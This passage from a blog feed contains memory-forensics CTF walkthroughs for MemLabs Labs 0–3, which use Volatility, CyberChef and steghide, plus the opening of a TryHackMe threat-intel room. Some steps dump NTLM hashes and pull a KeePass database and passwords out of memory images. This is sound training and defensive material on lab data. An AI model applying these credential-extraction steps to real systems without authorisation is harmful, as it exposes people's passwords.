src="https://cdn-images-1.medium.com/max/780/0*Iog4ivWMRj3C7wL-.png" /></figure><p>evilscript.py</p><p>We can see that this script is reading vip.txt and xor it with key given by user and use encoder function to encode ciphertext from xor to base64 then write that output to vip.txt replacing old content inside of it</p><h3>Check now the vip.txt :</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/0*wldWL2sQ5Z-df2nv.png" /></figure><p>vip.txt</p><blockquote><em>am1gd2V4M20wXGs3b2U=</em></blockquote><p>It is base64 encoded , go to cyberchef and decode this value</p><p>We might not know a key but we can use “XOR Brute Force” on CyberChef to crack it which we can see that we got first half of a flag when Key = 03</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*n9GG_fOTclOmd1oP.png" /></figure><p>Key = 03: inctf{0n3_h4lf</p><h3>First flag : inctf{0n3_h4lf</h3><h3>Getting second flag =&gt;</h3><p>Challenge description also telling us that we might need steghide to obtain second half of a flag and first half of a flag is required to get the second</p><p>find anything that could be used : png , jpg , jpeg , …………..</p><h3>1-filescan =&gt;</h3><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --<br>profile=Win7SP1x86_23418 filescan | grep .png</pre><p>Found alot of .png files , but the all of them system pics and internet</p><blockquote><em>check .png files :</em></blockquote><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --<br>profile=Win7SP1x86_23418 filescan | grep .png</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*qfhgK8z_p3_G21B4.png" /></figure><p>.png files</p><p>Look at the path of file /tmp files</p><blockquote><em>check .jpg files :</em></blockquote><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --<br>profile=Win7SP1x86_23418 filescan | grep .jpg</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*YwkNyeT7VvZfaevT.png" /></figure><p>.jpg files</p><p>Same results for .png files . All temporary files</p><blockquote><em>check jpeg files :</em></blockquote><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --<br>profile=Win7SP1x86_23418 filescan | grep .jpeg</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*wcmOwftjVb-pX5_7.png" /></figure><p>.jpeg files</p><p>Look at the name of the jpeg picture . Suspecious1.jpeg</p><p>Dump it now</p><h3>2-dump suspecious1.jpeg :</h3><pre>Plugin : dumpfiles</pre><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --profile=Win7SP1x86_23418<br>dumpfiles -Q 0x0000000004f34148 --name suspecious1.jpeg -D lab3_dumped_files</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*wpmkCa-6HfGWC3pc.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/0*MSVQhIgELJ7NzuoI.png" /></figure><p>suspecious1.jpeg</p><p>There is the picture . Now use the steghide</p><pre>Command : steghide extract –sf suspecious1.jpeg</pre><p>And the passphrase is the first flag “inctf{0n3_h4lf”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*I-Nj6iSowmncv4LX.png" /></figure><p>type here “inctf{0n3_h4lf”</p><p>There is output of the steghide :</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*5eBoBfl4Y19c1Uoh.png" /></figure><h3>Secend flag : _1s_n0t_3n0ugh}</h3><h3>Full flag : inctf{0n3_h4lf _1s_n0t_3n0ugh}</h3><p>the end ,</p><p>thanks for your time 3&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7aec5d5d07a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MemLabs Lab 2 — A New World]]></title>
            <link>https://medium.com/@midoagamy712364/memlabs-lab-2-a-new-world-7f6b916a7050?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f6b916a7050</guid>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[memory-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Tue, 24 Nov 2026 07:03:20 GMT</pubDate>
            <atom:updated>2026-11-24T07:03:20.565Z</atom:updated>
            <content:encoded><![CDATA[<h3>MemLabs Lab 2 — A New World</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/0*3U43SOQUNE4MjCX6.png" /></figure><h3>Challenge description :</h3><p>One of the clients of our company, lost the access to his system due to an unknown error. He is supposedly a very popular “environmental” activist. As a part of the investigation, he told us that his go to applications are browsers, his password managers etc. We hope that you can dig into this memory dump and find his important stuff and give it back to us.</p><p>Note: This challenge is composed of 3 flags.</p><h3>1-check image operating system :</h3><pre>Plugin &gt; imageinfo</pre><pre>Command : python2 vol.py -f MemoryDump_Lab2.raw imageinfo</pre><blockquote><em>Output suggested profiles :</em></blockquote><blockquote>Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418</blockquote><blockquote><em>I will choose : Win7SP1x64</em></blockquote><h3>2-checking running processes =&gt;</h3><pre>Plugin &gt; pslist</pre><pre>Command : python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64 pslist</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*BerD1bGCZGuDg6Xv.png" /></figure><p>process list</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*l5L95zmjQYE3L4Xw.png" /></figure><p>process list</p><blockquote><em>Nothing suspicious here , all legit processes</em></blockquote><h3>3-check running cmd commands =&gt;</h3><pre>Plugin &gt; cmdscan</pre><pre>Command &gt; python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64 cmdscan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/0*AL8WXbRLvbzc_nkf.png" /></figure><p>cmdscan plugin</p><p>nothing here</p><p>Check all commands runs =&gt;</p><pre>Plugin &gt; consoles</pre><pre>Command &gt; python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64 consoles</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/0*CyX8upqDnWtFx_zQ.png" /></figure><p>consoles plugin</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/0*l4s2qjutV6OS3712.png" /></figure><p>consoles plugin</p><p>nothing here</p><h3>4-check environmental variables =&gt;</h3><p>Remember at the description of the challenge “He is supposedly a very popular “environmental”</p><pre>Plugin &gt; envars</pre><pre>Command : Command &gt; python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64<br>envars</pre><p>I found this NEW_TMP variable whose directory seemed suspecious.</p><p>I found this highly suspecious to see</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*W3EPzqmNFB-I8NOy.png" /></figure><blockquote><em>“ZmxhZ3t3M2xjMG0zX1QwXyRUNGczXyFfT2ZfTDRCXzJ9”</em></blockquote><p>Go to cyberchef and see the decoded of this</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*C2Odx3V4Ka_GLPtQ.png" /></figure><p>cyber chef decoding</p><h3>flag{w3lc0m3_T0_$T4g3_!_Of_L4B_2}</h3><h3>Flag 2 :</h3><p>Remember at the description “he told us that his go to applications are browsers, his password managers”</p><p>Now i will check the password managers</p><p>Check and scan each file contains “password”</p><h3>1-check files =&gt;</h3><pre>Plugin &gt; filescan</pre><pre>Command : python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64 filescan |<br>grep &quot;password&quot;</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*Rs-XDcc3-9v-9P8V.png" /></figure><p>Lets check the “password.png”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/0*Fqr3lx4Y0DaT8oGp.png" /></figure><p>password.png</p><p>dump it</p><h3>2-dumping password.png=&gt;</h3><pre>Plugin &gt; dumpfiles</pre><pre>Command : python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64 dumpfiles -Q<br>0x000000003fce1c70 -D dumpedfiles</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/0*-XfAYX0-Qq3qGGL1.png" /></figure><p>password.png</p><p>Check this small password hidden :</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*wUNcgPDcRowR_1F0.png" /></figure><p>Maybe it will use later P4SSw0rd_123</p><blockquote><em>Maybe it will use later P4SSw0rd_123</em></blockquote><h3>3-keepass =&gt;</h3><p>This is the password manager used by the user</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*p5Qi5oyduiv-vX9v.png" /></figure><p>Check the file “secrets” . This is the file contains the Username &amp; password &amp; Urls of the keepass password manager</p><p>Now try to retrieve files contains “secrets” and related to keepass</p><pre>Plugin &gt; filescan</pre><pre>Command &gt; python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64 filescan |<br>grep -i &quot;secrets&quot;</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*22-EwYsEcPMhjHJx.png" /></figure><blockquote><em>Found hidden.kdbx . Lets dump it and check thi</em></blockquote><h3>4-dump hidden.kdbx=&gt;</h3><pre>Plugin&gt;dumpfiles</pre><pre>Command &gt;python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64<br>dumpfiles -Q 0x000000003fb112a0 -D dumpedfiles</pre><p>Now , we have to install the keepass program to open the dumped file</p><p>Now install keepass program</p><pre>sudo apt install keepassxc</pre><pre>/usr/bin/keepassxc ~/Downloads/Volatility/dumpedfiles/hidden.kdbx</pre><blockquote><em>Note : this is the path of hidden.kdbx . Change the path according to your path</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/0*jS3bhwUPB328143V.png" /></figure><p>Select “open Darabase” and browse and select hidden.kdbx</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*cYfSQXZHBUwMzMDn.png" /></figure><p>Remember the password of the image</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*n_7t6D_WVCgHezYu.png" /></figure><p>Type this password “P4SSw0rd_123”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*nMSI8BhgAjjLb7t9.png" /></figure><p>Opened successfully</p><p>Lets discover the flag and password</p><blockquote><em>I found in recycle bin &gt; flag</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/0*U3n4jxEFjZ9X-rcV.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/0*Zm1rB0JRCzQYIbT5.png" /></figure><h3>flag{w0w_th1s_1s_Th3_SeC0nD_ST4g3_!!}</h3><h3>flag 3 :</h3><p>Remember at the description “he told us that his go to applications are browsers, his password managers”</p><p>Let’s check now the browsers</p><h3>1-check chrome history</h3><p>If you use volatiltiy 2 , the plugin “chromehistory” not supported . Need to install it first</p><p>Download files here :</p><p><a href="https://github.com/superponible/volatility-plugins">https://github.com/superponible/volatility-plugins</a></p><p>And copy all files to</p><blockquote><em>/home/kali/Downloads/volatility/plugins</em></blockquote><p>Or to the path of your plugins and tool</p><p>And check the plugin installed correctly</p><pre>python2 vol.py --plugins=/paTH/of/your/plugin -- info | grep chrome “</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*oNssZfTexhiK7ome.png" /></figure><p>installed successfully</p><p>Now use the plugin to see what is the history</p><pre>Plugin &gt; chromehistory</pre><pre>Command &gt; python2 vol.py -f MemoryDump_Lab2.raw --profile=Win7SP1x64<br>chromehistory</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/0*f-0RV38v3tIx1rpm.png" /></figure><p>chrome history</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/0*bbD3csdK55NO1dT9.png" /></figure><p>chrome history</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*oshBdcXMSP33B5AQ.png" /></figure><p>chrome history</p><p>all history is normal . BBC . Youtube . Facebook ,etc</p><p>But there is download link of mega file <a href="https://mega.nz/#F!TrgSQQTS!H0ZrUzF0BZKNM3y9E76lg">https://mega.nz/#F!TrgSQQTS!H0ZrUzF0BZKNM3y9E76lg</a></p><p>check this</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/0*ifsaWgtpq6owhGye.png" /></figure><p>mega link</p><p>Important.zip file . Download it and extract it and see what is it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/0*FDhZr4XarCK49-fK.png" /></figure><p>after installed important.zip</p><p>There is password but i don’t know what is it</p><p>open by winrar and check if there is any notes</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/0*qQAaa3Lckla-bePq.png" /></figure><p>Password is SHA1(stage-3-FLAG) from Lab-1. Password is in lowercase \</p><p>Go to the lab-01 and remeber what is the third flag</p><p>you can check my lab-01 walkthrough here : “<a href="https://medium.com/@midoagamycaren7/memlabs-lab-1-beginners-luck-4d27ef0e3761">https://medium.com/@midoagamycaren7/memlabs-lab-1-beginners-luck-4d27ef0e3761</a>”</p><p>Go to the lab-01 and remeber what is the third flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/0*tcN7K8UFc39yMtFT.png" /></figure><p>lab-01 third flag</p><p>Flag : flag{w3ll_3rd_stage_was_easy}</p><p>Translate to SHA-1 :</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*5uF5PobWFr8B3KGI.png" /></figure><p>SHA-1 hash of w3ll_3rd_stage_was_easy}</p><blockquote><em>6045dd90029719a039fd2d2ebcca718439dd100a</em></blockquote><p>Type this password on important.ZIP file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*lU3g5GxhoJBJfJq8.png" /></figure><h3>flag{oK_So_Now_St4g3_3 _is_DONE!!}</h3><p>the end, thanks for your time 3&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f6b916a7050" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MemLabs Lab 1 — Beginner’s Luck]]></title>
            <link>https://medium.com/@midoagamy712364/memlabs-lab-1-beginners-luck-60615d615409?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/60615d615409</guid>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[memory-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Mon, 23 Nov 2026 07:35:59 GMT</pubDate>
            <atom:updated>2026-11-23T07:35:59.168Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*IMUJgFCYOR_xSz6R" /></figure><h3>Challenge Description</h3><p>My sister’s computer crashed. We were very fortunate to recover this memory dump. Your job is get all her important files from the system. From what we remember, we suddenly saw a black window pop up with some thing being executed. When the crash happened, she was trying to draw something. Thats all we remember from the time of crash.</p><p>Note: This challenge is composed of 3 flags</p><p>the Image :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/0*MkCJ4kAW4Stq4iTx.png" /></figure><p>image of lab1</p><h3>Steps :</h3><h3>1-identify image operating system =&gt;</h3><pre>Plugin &gt; imageinfo</pre><pre>Command &gt; python 2 vol.py -f MemoryDump_lab1.raw imageinfo</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/0*_8jqCXFa0Pp0i8T4.png" /></figure><p>image profile</p><p>Suggested Profile(s) : Win7SP1x64, Win7SP0×64, Win2008R2SP0×64, Win2008R2SP1×64_24000, Win2008R2SP1×64_23418, Win2008R2SP1×64, Win7SP1×64_24000, Win7SP1×64_23418</p><p>I will use the profile “Win7SP1x64”</p><h3>2-identify image operating system =&gt;</h3><pre>Plugin &gt; imageinfo</pre><pre>Command &gt;python2 vol.py -f MemoryDump_Lab1.raw --profile=Win7SP1x64 pslist</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/0*4Q65WW-Z3fFLJ9ue.png" /></figure><p>process list</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/0*_wxqHvn8Y61ugTil.png" /></figure><p>process list</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/0*6LzTEnMp610JhdBH.png" /></figure><p>process list</p><p>suspecious processes :</p><blockquote><em>Cmd.exe</em></blockquote><blockquote><em>Mspaint.exe</em></blockquote><blockquote><em>WinRAR.exe</em></blockquote><h3>3-check the cmd.exe process and its consoles =&gt;</h3><pre>1-plugin cmdscan &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*TpAEcjmRW016hE5k.png" /></figure><p>cmdscan plugin</p><p>Nothing found</p><pre>2-plugin &gt;consoles</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*UeA0K-jVfZmwgmLE.png" /></figure><p>consoles plugin</p><blockquote><em>Suspecious console “ZmxhZ3t0aDFzXzFzX3RoM18xc3Rfc3Q0ZzMhIX0=”</em></blockquote><blockquote><em>it is base64 econding</em></blockquote><p>Go to cyberchef and check what is the decode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/0*n8mJ_Gntp1JbwfA-.png" /></figure><p>cyber chef decoding</p><h3>results : flag{th1s_1s_th3_1st_st4g3!!} .</h3><p>this is the first flag</p><h3>4-Mspaint process analyzing =&gt;</h3><p>Remember at description of challenge “he was trying to draw something”</p><p>And this is the process of paint something on windows</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*yxBAsEL50MPCb-TG.png" /></figure><p>This is the process</p><blockquote><em>PID : 2424</em></blockquote><h3>Dump the process mspaint.exe &gt;</h3><pre>Plugin &gt; memdump</pre><pre>Command &gt; ─$ python2 vol.py -f MemoryDump_Lab1.raw --profile=Win7SP1x64 memdump -p 2424 -D mspaint/</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*D8ywvUMauDfSU3k4.png" /></figure><p>memdump plugin</p><p>the process :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/188/0*pbHur2EMUDxaqMzG.png" /></figure><p>Change the file to “2424.data” to open it using GIMP tool , it is free and open-source tool for photo editing , design , layering and filtering</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/0*fVT0Vt0Kq7x5sNiG.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/0*_VGg0NIW0n-Tz3T8.png" /></figure><p>after open the process by gimp</p><p>rotate 180 degree</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/0*NUi3O_XJIrcP94AH.png" /></figure><p>flag 2</p><h3>Second flag : flag{G00d_Boy_good_girL}</h3><h3>5-winRAR.exe process analysis=&gt;</h3><p>indicated that a compressed archive was being accessed at the time of memory capture , identify what is achieved files</p><p>Check what is the important files “.rar”</p><pre>Plugin&gt; filescan</pre><pre>Command &gt; python2 vol.py -f MemoryDump_Lab1.raw --profile=Win7SP1x64 filescan | grep &quot;.rar&quot;</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*Jy0f6H1cZao2AeVx.png" /></figure><p>file scan results</p><blockquote><em>here are files named “important.rar”</em></blockquote><p>Dump this files from memory</p><pre>Plugin &gt; dumpfiles</pre><pre>Command &gt; python2 vol.py -f MemoryDump_Lab1.raw --profile=Win7SP1x64 dumpfiles -Q<br>0x000000003fac3bc0 --name importantFile.rar -D dumpedfiles/</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/0*8WaFR5uz1K9YOAvf.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*v84NVCHT-lPb0yQv.png" /></figure><p>Tried to extract the file but it is protected by password</p><p>Try to get it by NTLM hash</p><pre>Plugin &gt; hashdump</pre><pre>Command &gt; python2 vol.py -f MemoryDump_Lab1.raw --profile=Win7SP1x64 hashdump</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*QxO0RgeQMwONCMR3.png" /></figure><p>extracted NTLM hashes</p><blockquote><em>Check Alissa NTLM hash “F4FF64C8BAAC57D22F22EDC681055BA6”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/0*Pnl3hSf9Nv3PE7hd.png" /></figure><p>Extracted file succssfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*RcvpZuq3tJzyXE3u.png" /></figure><p>third flag</p><h3>Third flag : flag{w3ll_3rd_stage_was_easy}</h3><p>the end , thanks for your time 3&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60615d615409" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MemLabs Lab 0 — Never Too Late Mister]]></title>
            <link>https://medium.com/@midoagamy712364/memlabs-lab-0-never-too-late-mister-b3e2291b2ba2?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3e2291b2ba2</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[memory-analysis]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Mon, 23 Nov 2026 07:31:54 GMT</pubDate>
            <atom:updated>2026-11-23T07:31:54.949Z</atom:updated>
            <content:encoded><![CDATA[<h3>MemLabs Lab 0 — Never Too Late Mister</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/0*YRxIeNBb7pxci454.png" /></figure><h3>This directory has been created to aid first-timers in learning how to approach a CTF-styled memory forensics challenge and also learn the plugins of the memory analysis framework, Volatility.</h3><p>So here I’ll be writing a very elaborate walkthrough of a memory forensics challenge which I made for the BSides Delhi CTF 2018. The challenge is fairly easy in difficulty and I believe will be a great example challenge for everyone new to this.</p><h3>Challenge Description</h3><p>My friend John is an “environmental” activist and a humanitarian. He hated the ideology of Thanos from the Avengers: Infinity War. He sucks at programming. He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me?</p><h3>challenge link : <a href="https://drive.google.com/file/d/1MjMGRiPzweCOdikO3DTaVfbdBK5kyynT/view?pli=1">https://drive.google.com/file/d/1MjMGRiPzweCOdikO3DTaVfbdBK5kyynT/view?pli=1</a></h3><p>— — — — — — — — — — — — — — — -</p><h3>Image</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/0*OAbK9oJH5sxXPwY9.png" /></figure><p>challenge image</p><h3>1-identify what is the image OS and version =&gt;</h3><blockquote><strong><em>Plugin</em></strong><em>&gt;imageinfo</em></blockquote><blockquote><em>Command :</em></blockquote><blockquote><em>python2 vol.py -f challenge.raw imageinfo</em></blockquote><pre>Command : python2 vol.py -f challenge.raw imageinfo</pre><p><strong>results :</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*05siKSWEA9LBpiLD.png" /></figure><p>results from imageinfo plugin</p><p>Suggested Profile(s) : Win7SP1×86_23418, Win7SP0×86,Win7SP1×86_24000, Win7SP1×86<br>Use anyone of this profile to analyze the dump<br>I will use the profile “Win7SP1x86”</p><h3>2)identify running processes =&gt;</h3><blockquote><em>Plugin &gt; pslist</em></blockquote><pre>Command : python2 vol.py -f challenge.raw--profile=Win7SP1x86<br>pslist</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/0*-nV6tSpu-R8VG8pm.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/0*imX_PbeIbe0sHPOk.png" /></figure><p>suspecious Indicators :</p><p>1-CMD.exe</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/0*rcytJMpV3vvl9Her.png" /></figure><p>Check what is the running commands</p><p>Plugin &gt; cmdscan &amp; cmdconsole<br>Cmdconsole &gt; extract all commands running , so it is very noise<br>Instead of cmdconsole , i will use cmdscan .which extract suspecious command runned</p><blockquote><em>Plugin &gt; cmdscan</em></blockquote><pre>Command : python2 vol.py -f Challenge.raw --profile=Win7SP1x86 cmdscan</pre><p>results :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/0*ZU22dcDEeaMuPKBZ.png" /></figure><p>output of running cmdscan plugin</p><p>The executed command was :</p><pre>C:\Python27\python.exe C:\Users\hello\Desktop\demon.py.txt</pre><p>There is double extension “.py.txt” highly suspicious</p><p>Next step : check what is the output of the demon.py.txt</p><blockquote><em>Plugin &gt; consoles</em></blockquote><pre>Output : python2 vol.py -f Challenge.raw --profile=Win7SP1x86 consoles</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*BBnD0r6WuhsPyiie.png" /></figure><blockquote><em>335d366f5d6031767631707f</em></blockquote><p>I don’t know what is that , but maybe it is hex value</p><p>Go to cyberchef and try to know what is the value</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*6xScdtmAG1SeNBs3.png" /></figure><p>check the value 335d366f5d6031767631707f on cyberchef</p><blockquote><em>3]6o]`1vv1p</em></blockquote><p>I don’t know what is this value , but lets continue investigation</p><p>Go back to cyberchef and Check if this value is result of XOR operation encryption .</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/0*0nvQyl8jpKuTjGeG.png" /></figure><p>the flag found</p><p>Maybe this part of flag</p><pre>Key = 02: 1_4m_b3tt3r}</pre><p>Let’s continue investigation</p><p>I will check the Environmental variables as mentioned before , system determined variables called Environment variables</p><p>2-malfind</p><p>Malfind plugin is to detect a malicious activities</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/0*qsBrrZjuECuhdGsY.png" /></figure><p>Processes : explorer.exe &amp; searchfilterHO</p><p>3-hidden processes :</p><blockquote><em>Plugin : psscan</em></blockquote><p>Not found hidden processes</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3e2291b2ba2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File and Hash Threat Intel]]></title>
            <link>https://medium.com/@midoagamy712364/file-and-hash-threat-intel-11a0583726f2?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/11a0583726f2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Fri, 20 Nov 2026 18:09:16 GMT</pubDate>
            <atom:updated>2026-11-20T18:09:16.368Z</atom:updated>
            <content:encoded><![CDATA[<h3>File and Hash Threat Intel Room , Threat Analysis Tools module — TRY hack me SOC Level 1</h3><p>ROOM link : <a href="https://tryhackme.com/room/fileandhashthreatintel">https://tryhackme.com/room/fileandhashthreatintel</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*rQhfBdtC8KQ0bSAZ" /></figure><h3>Task 1 : Introduction</h3><p>Security Operations teams live inside alert queues and triaging. Every entry follows three essential steps: <strong>verify</strong>, <strong>enrich</strong>, and <strong>decide</strong>. File and hash intelligence sits squarely in the <em>enrich</em> phase, transforming a lone path or hash value into contextual knowledge within your organisation about malicious artefacts that would be identified.</p><h3>Learning Objectives</h3><p>By completing this room, you will be able to:</p><ul><li>Interpret suspicious filepaths and filenames using heuristics.</li><li>Generate and validate file hashes.</li><li>Leverage VirusTotal and MalwareBazaar to enrich newly observed binaries.</li><li>Extract behaviour from sandbox telemetry and map it to MITRE ATT&amp;CK.</li></ul><h3>Prerequisites</h3><p>Before embarking on the journey, ensure that you have covered the following concepts and rooms:</p><ul><li>Familiarity with basic Windows and Linux shell utilities.</li><li><a href="https://tryhackme.com/room/cyberthreatintel">Intro to Cyber 